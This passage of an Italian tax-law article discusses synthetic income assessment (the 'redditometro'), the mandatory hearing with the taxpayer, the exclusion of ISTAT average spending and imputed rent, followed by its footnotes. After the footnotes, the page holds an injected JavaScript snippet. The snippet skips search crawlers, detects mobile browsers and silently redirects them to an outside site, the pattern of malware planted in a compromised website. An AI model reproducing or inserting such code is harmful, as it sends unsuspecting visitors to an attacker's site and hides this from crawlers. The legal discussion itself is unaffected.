a) la procedura di accertamento standardizzato, mediante l’applicazione dei parametri o degli studi di settore, costituisce un sistema di presunzioni semplici, la cui gravità, precisione e concordanza non è ex lege determinata in relazione ai soli standard in sé considerati;

b) la gravità, precisione e concordanza nasce procedimentalmente in esito al contraddittorio da attivare obbligatoriamente con il contribuente, pena la nullità dell’accertamento;

c) l’esito del contraddittorio costituisce la fine di un percorso di adeguamento della elaborazione statistica degli standard alla concreta realtà economica del contribuente e deve far parte della motivazione dell’accertamento, nella quale vengono esposte le ragioni per le quali i rilievi del contribuente vengono disattesi;

d) il contribuente può rimanere inerte in sede di contraddittorio, assumendosi le conseguenze di questo suo comportamento, sul piano della valutazione processuale;

e) il contribuente ha nel giudizio relativo all’impugnazione dell’atto di accertamento la più ampia facoltà di prova, anche a mezzo di presunzioni semplici;

f) il giudice può valutare tanto l’applicabilità degli standard al caso concreto, che deve essere dimostrata dall’ente impositore, quanto la controprova sul punto offerta dal contribuente.

Alle medesime conclusioni può pervenirsi per quella parte del redditometro il cui fondamento poggia su dati assunti statisticamente, quali sono le c.d. spese per elementi certi: tali dati costituiscono una serie di presunzioni semplici che da soli non possono essere ritenuti sufficienti a fondare un accertamento, necessitando di ulteriori riscontri (15); mentre approfondiremo nel prosieguo, quando tratteremo del contraddittorio con il contribuente, le c.d. spese ISTAT.

Sembra infatti ormai assolutamente pacifico l’orientamento secondo il quale l’ordinamento tributario non consente alle elaborazioni statistiche sulle quali si fondono gli accertamenti tramite i c.d. standards – coefficienti, parametri, studi di settore – di assumere con modalità di automatismo, valenza probatoria (16).

L’accertamento standardizzato non può trovare, infatti, applicazione automatica senza che quanto costruito attraverso di esso non venga verificato con la concreta situazione reddituale o patrimoniale del contribuente: diversamente il rischio sarebbe quello di attribuire un reddito determinato sulla base di elementi di spesa o di elementi astrattamente indicativi di capacità contributiva che in realtà poco hanno a che fare con la situazione reddituale del contribuente medesimo (17).

L’applicazione dei parametri o degli studi di settore costituisce quindi un sistema di presunzioni, la cui gravità, precisione e concordanza non è ex lege determinata dallo scostamento del reddito dichiarato rispetto agli standards in sé considerati, ma nasce solo in esito al contraddittorio da attivare obbligatoriamente (18).

Con la citata sentenza della Suprema Corte n. 26635/2009 è stata offerta una lettura costituzionalmente orientata del principio di capacità contributiva contenuto nell’art. 53 Cost. e si è evitato il pericolo di trasformare i c.d. accertamenti standardizzati da strumenti di accertamento, quali essi sono, in strumenti tout-court di determinazione del reddito.

Invero «solo dimostrando l’applicabilità dello standard al caso concreto e integrando la motivazione con le ragioni per le quali le contestazioni sollevate dal contribuente non meritano accoglimento, parametri e studi di settore saranno allora in grado – secondo le Sezioni Unite – di assumere quei requisiti di gravità, precisione e concordanza che giustificano un onere della prova contraria da parte del contribuente» (19).

Pertanto, il contraddittorio riveste un ruolo centrale, in quanto soltanto attraverso i rilievi del contribuente, la presunzione, costituita dall’avere il contribuente probabilmente effettuato una o più spese previste nella Tabella A, acquisterà – secondo l’insegnamento della Suprema Corte – i requisiti di gravità, precisione e concordanza tipici delle presunzioni qualificate.

È necessario quindi che la presunzione semplice costituita dalla spesa attribuita probabilmente al contribuente sia integrata – come per tutti gli accertamenti standardizzati – da altri elementi che rivestono la caratteristica della gravità, precisione e concordanza.

A tal proposito la Suprema Corte – ribadendo anche di recente (20) il principio già contenuto nella sentenza n. 9961/1996 (21) – ha nuovamente affermato che nella prova per presunzioni è sufficiente che il rapporto di dipendenza logica tra il fatto noto e quello ignoto sia accertato alla stregua di canoni di probabilità, con riferimento ad una connessione possibile e verosimile di accadimenti, la cui sequenza e ricorrenza possono verificarsi secondo regole di esperienza. E pertanto non è da escludere che il convincimento del giudice di merito ben possa fondarsi persino su una sola presunzione, purché grave e precisa, nonché su una presunzione che sia in contrasto con altre prove acquisite, qualora la stessa sia ritenuta di tale precisione e gravità da rendere inattendibili gli elementi di giudizio ad essa contrari.

12. Il contraddittorio

L’art. 38, settimo comma, del D.P.R. n. 600/1973, espressamente statuisce che l’Ufficio finanziario nel procedere alla determinazione sintetica del reddito complessivo ha l’obbligo di invitare il contribuente per fornire dati e notizie rilevanti ai fini dell’accertamento e successivamente di avviare il procedimento di accertamento con adesione ai sensi dell’art. 5 del D.Lgs. 19 giugno 1997, n. 218.

Nell’accertamento sintetico, sia esso quello previsto al quarto comma o al quinto comma, il contraddittorio assume quindi un ruolo centrale e costituisce un requisito di legittimità dell’accertamento stesso.

Il contraddittorio peraltro non è più previsto soltanto nella fase istruttoria, ma è anche previsto nella fase successiva dell’accertamento con adesione.

È stato correttamente affermato che nel procedimento di accertamento sintetico redditometrico si fa carico all’Amministrazione finanziaria di coinvolgere il contribuente, imponendo all’Ufficio fiscale in primo luogo di invitare il contribuente a comparire per fornire dati e notizie rilevanti ai fini dell’accertamento, e successivamente di avviare il procedimento di accertamento con adesione.

Ciò dà luogo invero a due fasi distinte l’una dall’altra, ma nell’evidente prospettiva unitaria in cui esse devono essere considerate, costituiscono la forma più articolata di partecipazione del privato al procedimento di accertamento tributario (22).

Il contraddittorio quindi è il mezzo in forza del quale le parti, Agenzia delle entrate e contribuente, si ritrovano su un piano di parità non soltanto nel processo, ma anche prima che esso venga instaurato, e cioè nella fase istruttoria del confezionamento del provvedimento amministrativo tributario (avviso di accertamento).

Invero il contraddittorio, inizialmente presente soltanto in ambito processuale, è stato anche introdotto nel campo del diritto sostanziale, soprattutto allorquando venga prevista una fase procedimentale per la definizione di una attività amministrativa, nella quale i soggetti giuridici si ritrovano in posizione paritaria, uno di fronte all’altro, quali portatori di determinati interessi economici confliggenti che tendono a comporsi (23) proprio a mezzo del prefato strumento di confronto allo “stesso tavolo”.

È stato osservato che il contraddittorio è un principio giuridico generale di carattere costituzionale, che si manifesta ogni qual volta la funzione svolta sia retta dalla ragione di imparzialità (24) e che sotto il profilo metodologico dispiega immediati e determinanti riflessi sul piano tanto procedurale quanto sostanziale e inoltre che il contraddittorio preventivo è elevato nello Statuto dei diritti del contribuente a cardine della relazione tra contribuente e mano pubblica (25).

Va per ultimo rilevato che il contraddittorio, previsto sia allorquando l’accertamento sintetico si basi su spese certe e documentate effettuate dal contribuente e sia allorquando esso si basi su spese attribuite e probabilmente effettuate dal contribuente secondo una previsione statistica, ha una diversa refluenza sul regime giuridico della prova nell’ambito dell’accertamento sintetico.

Infatti, se a fronte della spesa sostenuta dal contribuente, l’Agenzia delle entrate pone a fondamento un documento attestante che quella determinata spesa sia stata realmente effettuata, il contraddittorio non modifica la valenza probatoria del documento consistente nell’attestare, salvo prova contraria, che la spesa è avvenuta (art. 2697, primo comma, c.c.); ma serve ad anticipare, dal processo ad una fase anteriore ad esso, la facoltà riconosciuta all’altra parte, cioè al contribuente, di eccepire l’inefficacia del fatto posto a fondamento del documento (cioè l’effettività della spesa) o l’avveramento di situazioni modificative o estintive.

Le quali sono – ma non soltanto – quelle previste, a questo punto a titolo esemplificativo, dall’art. 38, quarto comma, del D.P.R. n. 600/1973: e cioè che il reddito è stato conseguito con redditi diversi da quelli posseduti nello stesso periodo di imposta, o con redditi esenti o soggetti a ritenuta alla fonte titolo di imposta o, comunque legalmente esclusi dalla formazione della base imponibile.

Se invece a fondamento dell’accertamento sintetico viene posto una spesa probabilmente effettuata dal contribuente in base a delle rilevazioni statistiche, allora il contraddittorio costituisce elemento integrante della prova relativa alla effettività o meno della spesa addebitata al contribuente: e ciò in quanto attraverso il contraddittorio si perviene ad attribuire o meno alla presunzione semplice il carattere di gravità, precisione e concordanza, in tal modo trasformando la presunzione semplice in strumento di prova.

Ma se ciò vale ovviamente per le c.d. spese per elementi certi, a diversa conclusione deve pervenirsi per le spese per beni e servizi di uso corrente di ammontare pari alla spesa media risultante dall’indagine annuale sui consumi delle famiglie, differenziate per composizione e area geografica, c.d. spese ISTAT.

Queste ultime invero non rappresentano in concreto il consumo che presumibilmente il contribuente – soggetto passivo dell’accertamento sintetico – abbia potuto effettuare. Infatti, la media aritmetica utilizzata per quantificare tale tipologia di spese non è per niente idonea a rappresentare la diversa e composita variabilità del fenomeno stesso (consumo), che varia notevolmente da un soggetto all’altro, e per tale motivo non può essere ricondotto a quel determinato contribuente, se non con notevole approssimazione, come ha già correttamente rilevato il Garante della privacy: pertanto le c.d. spese ISTAT, anche attraverso il contraddittorio, non potranno mai acquisire la natura giuridica di una presunzione grave, precisa e concordante (26).

13. Ulteriore provvedimento dell’Agenzia delle entrate e del fitto figurativo

Con la recente circolare 11 marzo 2014, n. 6/E (27), l’Agenzia delle entrate perviene alle conclusioni sopra cennate, espungendo definitivamente dal redditometro, o più propriamente dall’accertamento sintetico del reddito complessivo delle persone fisiche di cui all’art. 38 del D.P.R. n. 600/1973, le c.d. spese ISTAT (non ancorate ad elementi certi), le quali, come abbiamo illustrato, erano state incluse nella Tabella A allegata al D.M. 24 dicembre 2012, soprattutto nelle voci alimentari e bevande, abbigliamento, elettrodomestici e arredi, spese per libri scolastici, e simili.

Queste spese – ma non solo esse – possono essere prese in considerazione non già in misura presuntiva, bensì negli importi di spesa effettivamente sostenuti, se presenti in Anagrafe tributaria, al pari di tutte le altre spese effettivamente sostenute dal contribuente e diverse da quelle indicate nella predetta Tabella A.

In buona sostanza le sopra cennate c.d. spese ISTAT non sono idonee a rappresentare «il contenuto induttivo di elementi indicativi di capacità contributiva individuato mediante l’analisi di campioni significativi, differenziati anche in funzione del nucleo familiare e dell’area territoriale di appartenenza» cui fa riferimento il più volte citato art. 38.

Esse quindi non concorrono – ribadisce ancora una volta la circolare n. 6/E/2014 – né alla procedura di selezione del contribuente né possono formare oggetto di contraddittorio con il contribuente.

Un’annotazione a parte tra le c.d. spese ISTAT va rivolta al c.d. fitto figurativo.

Invero le spese sostenute per l’abitazione costituiscono un indubbio elemento di capacità contributiva e vanno considerate in sede di accertamento sintetico, al fine di verificare se l’ammontare della relativa spesa sia compatibile con il reddito dichiarato dal contribuente.

Ma al fine di determinare la spesa sostenuta per l’abitazione si deve tenere conto della tipologia di possesso dell’abitazione da parte del contribuente, la quale può essere costituita da un titolo di proprietà o di altro diritto reale, ovvero da un contratto di locazione, od anche da un uso gratuito.

Qualora però con riferimento al contribuente e agli altri componenti del nucleo familiare non risulti, nel Comune di residenza, alcuna delle tre ricordate tipologie di possesso, il D.M. 24 dicembre 2012 attribuisce al contribuente una spesa induttiva, c.d. fitto figurativo, calcolata moltiplicando sulla base dei dati dell’Osservatorio del Mercato Immobiliare (OMI) il valore del fitto figurativo mensile al metro quadro di un’abitazione di 75 mq. di categoria A/2 e per il numero dei mesi di possesso.

Sennonché l’ammontare del fitto figurativo, così come segnalato dal Garante per la privacy nel più volte citato provvedimento 21 novembre 2013, non può essere assunto nella fase procedurale di selezione del contribuente, ma può soltanto concorrere alla determinazione del maggior reddito accertabile, qualora il contribuente nella fase del contraddittorio non fornisca chiarimenti esaustivi in ordine al proprio status abitativo ovvero qualora lo stesso non partecipi al contraddittorio.

Conclusivamente si può quindi affermare che nella fase procedurale di selezione del contribuente si deve tenere conto della quota di incremento patrimoniale dell’anno di riferimento, della quota di risparmio, delle spese certe presenti in Anagrafe tributaria e delle spese per elementi certi.

Nella successiva fase introdotta dall’invito a comparire, qualora il contribuente non si presenti o non fornisca esaustivi chiarimenti, agli elementi di capacità contributiva presi a base della procedura di selezione, potrebbe quindi aggiungersi la spesa media induttiva costituita dal fitto figurativo (28), la quale, secondo la stessa circolare n. 6/E/2014, è omnicomprensiva di tutte le altre tipologie di spese connesse al mantenimento dell’immobile, quali possano essere ad esempio quelle per consumo dell’acqua, le spese condominiali e di manutenzione dell’immobile.

Tuttavia, a parte l’utilizzo del fitto figurativo nei limiti sopra indicati (e cioè nell’ipotesi di mancata partecipazione al contraddittorio o di mancata indicazione di validi elementi giustificativi), restano escluse definitivamente, se non individuati puntualmente dall’Ufficio fiscale sulla base di dati certi presenti in Anagrafe tributaria, tutte le spese del vivere quotidiano che erano quantificabili sulla base della spesa media ISTAT della tipologia del nucleo di appartenenza del contribuente prevista nel D.M. 24 dicembre 2012 e che non siano strettamente ancorate all’esistenza di beni e servizi.

Tra le quali ultime (spese per elementi certi) non vanno ricomprese le spese per elettrodomestici e le spese per arredi e servizi per la casa, poiché esse, pur essendo connesse al possesso di uno o più immobili, non possono essere determinate in base alle caratteristiche degli immobili medesimi.

Di conseguenza tali ultime spese, al pari delle altre c.d. spese ISTAT, possono concorrere alla ricostruzione sintetica del reddito esclusivamente in presenza di importi corrisposti per spese effettivamente sostenute e se risultanti dai dati disponibili in Anagrafe tributaria (29).

Dott. Bernardo Comella

(1) Cfr. M. Basilavecchia, Metodo di accertamento e capacità contributiva, in Rass. trib., 2012, 1110.

(2) Il predetto D.M. è stato oggetto di provvedimenti di declaratoria di nullità sotto diversi profili: per un approfondimento si vedano Trib. di Napoli, sez. staccata di Pozzuoli, 20 febbraio 2013, ord. n. 250, in Boll. Trib., 2013, 536, con nota di P. Accordino, Il redditometro e la tutela dei dati personali del contribuente; Comm. trib. prov. di Reggio Emilia. sez. II, 18 aprile 2013, n. 74, ibidem, 1118, con nota di P. Accordino, criticità diffuse del nuovo redditometro.

(3) Cfr. A. Cissello, Decreto attuativo del nuovo redditometro, in il fisco, 2013, 427.

(4) Cfr. M. Basilavecchia, Metodo di accertamento e capacità contributiva, cit., 1109 ss.

(5) Nell’accertamento sintetico previsto dall’art. 38 del D.P.R. n. 600/1973, anteriormente alla novella del D.L. n. 78/2010, il reddito complessivo accertato si intendeva al netto di oneri deducibili e detrazioni di imposta; il contraddittorio con il contribuente era meramente facoltativo, e agli effetti dell’ILOR il maggior reddito accertato sinteticamente era considerato reddito di capitale, salva la facoltà del contribuente di provarne l’appartenenza ad altre categorie di redditi.

(6) In Boll. Trib., 2013, 1654.

(7) L’art. 38 del D.P.R. n. 600/1973 prevede che il contenuto induttivo degli elementi indicativi di capacità contributiva venga individuato attraverso l’analisi di campioni significativi di contribuenti, differenziati anche in funzione del nucleo familiare e dell’area territoriale di appartenenza, e non soltanto in funzione del nucleo familiare e dell’area geografica.

(8) In Boll. Trib., 2013, 1191.

(9) Ved. D. Liburdi, Il nuovo redditometro e gli indirizzi dell’Agenzia delle Entrate, in il fisco, 2013, 4837.

(10) Nel senso che il redditometro leda diritti fondamentali della persona e che utilizza come parametri, per determinare le spese mediamente sostenute da una famiglia, rilevazioni come quelle dell’ISTAT che nulla hanno in comune con la materia tributaria; sul punto ved. Trib. Napoli n. 250/2013, cit.,; M. Denaro, Il nuovo redditometro è illegittimo per la giurisprudenza di merito, in Boll. trib., 2013, 1559; e U. Perrucci, Redditometro e diritti della personalità, ibidem, 579.

(11) Nel senso che il documento costituisce un mezzo di prova; ved. V. Denti, voce Prova Documentale, in Enc. dir., Milano, 1988, 713, spec. par. 4.

(12) Art. 2697, primo comma, c.c.: «chi vuol fare valere un diritto in giudizio, deve provare i fatti che ne costituiscono il fondamento». Secondo comma: «chi eccepisce l’inefficacia di tali fatti ovvero eccepisce che il diritto si è modificato o estinto, deve provare i fatti su cui l’eccezione si fonda». Art. 2712 c.c.: «le riproduzioni fotografiche o cinematografiche, le registrazioni fonografiche e, in genere, ogni altra rappresentazione meccanica di fatti e di cose formano piena prova dei fatti e delle cose rappresentate, se colui contro il quale sono prodotte non ne disconosce la conformità ai fatti o alle cose medesime».

(13) In tal senso ved. E. Holzmiller, in La Settimana fiscale, 2013, n. 4, 33.

(14) In Boll. Trib., 2010, 303, con nota di M. Proietti, Presunzioni semplici quelle di parametri e studi di settore: la lettura costituzionalmente orientata delle Sezioni Unite.

(15) Cfr. A. Cissello, Decreto attuativo del nuovo redditometro, cit., 429.

(16) In tal senso P. Turis, in il fisco, 2013, 2117, in nota a Cass., sez. trib., 21 marzo 2012, n. 4502.

(17) Ved. in tal senso F. Tundo, Il procedimento di accertamento redditometrico tra partecipazione e contraddittorio, in Rass. trib., 2013, 1041 ss.

(18) Cfr. Cass. n. 26635/2009, cit.

(19) Cfr. M. Proietti, Presunzioni semplici quelle di parametri e studi di settore: la lettura costituzionalmente orientata delle Sezioni Unite, in nota a Cass. n. 26635/2009, cit.

(20) Cfr. Cass., sez. trib., 10 gennaio 2013, n. 446, in Boll. Trib. On-line.

(21) Cfr. Cass., sez. un., 13 novembre 1996, n. 9961, in Giur. it., 1997, I, 1, 1564.

(22) In tal senso F. Tundo, Il procedimento di accertamento redditometrico tra partecipazione e contraddittorio, cit., 1037.

(23) Cfr. A. Nasi, voce Contraddittorio, in Enc. dir., Milano, 1961, 727.

(24) Cfr. F. Benvenuti, voce Contraddittorio, in Enc. dir., Milano, 1961, 739.

(25) Ved. V. Azzoni, Brevi note sull’emendabilità della dichiarazione fiscale e sull’accertamento basato sugli studi di settore, in Boll. Trib., 2012, 1256, in nota a Cass., sez. trib., 4 aprile 2012, n. 5399.

(26) Nel senso che da un lato è impossibile fornire la prova di aver speso meno di quanto risulti dalla media ISTAT, e dall’altro lato la considerazione che l’esistenza di una media di spese sta a dimostrare che nella realtà economica si sono registrate fasce di oscillazioni comprese tra un minimo e un massimo, con la conseguenza logica che coloro i quali si ritrovano al di sotto del valore medio si vedranno attribuire automaticamente consumi non effettuati, cfr. Comm. trib. prov. di Reggio Emilia n. 78/2013, cit.; M. Denaro, Il nuovo redditometro è illegittimo per la giurisprudenza di merito, cit., 1559; e U. Perrucci, Redditometro e diritti della personalità, cit., 579.

(27) In questo stesso fascicolo a pag. 445; tale circolare al paragrafo 3.1 ribadisce che «se il contribuente fornisce chiarimenti esaustivi in ordine alle spese certe, alle spese per elementi certi, agli investimenti ed alla quota di risparmio dell’anno, l’attività di controllo basata sulla ricostruzione sintetica del reddito si esaurisce nella prima fase del contraddittorio». Inoltre si riafferma il principio secondo cui «le medie ISTAT sono utilizzabili per il calcolo delle spese solo se connesse ad elementi certi, quali il possesso e le caratteristiche di immobili e di mobili registrati».

(28) Ved. in tal senso A. Bongi, Un redditometro che lievita, in Italia Oggi del 13 marzo 2014, secondo il quale la previsione del fitto figurativo dà luogo ad un meccanismo di accertamento a formazione progressiva, potendo il fitto figurativo, non presente nella fase di selezione del contribuente, far successivamente, in presenza di determinate circostanze di fatto, accrescere ulteriormente il reddito accertabile.

(29) Cfr. circ. n. 6/E/2014, par. 3.1, cit.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *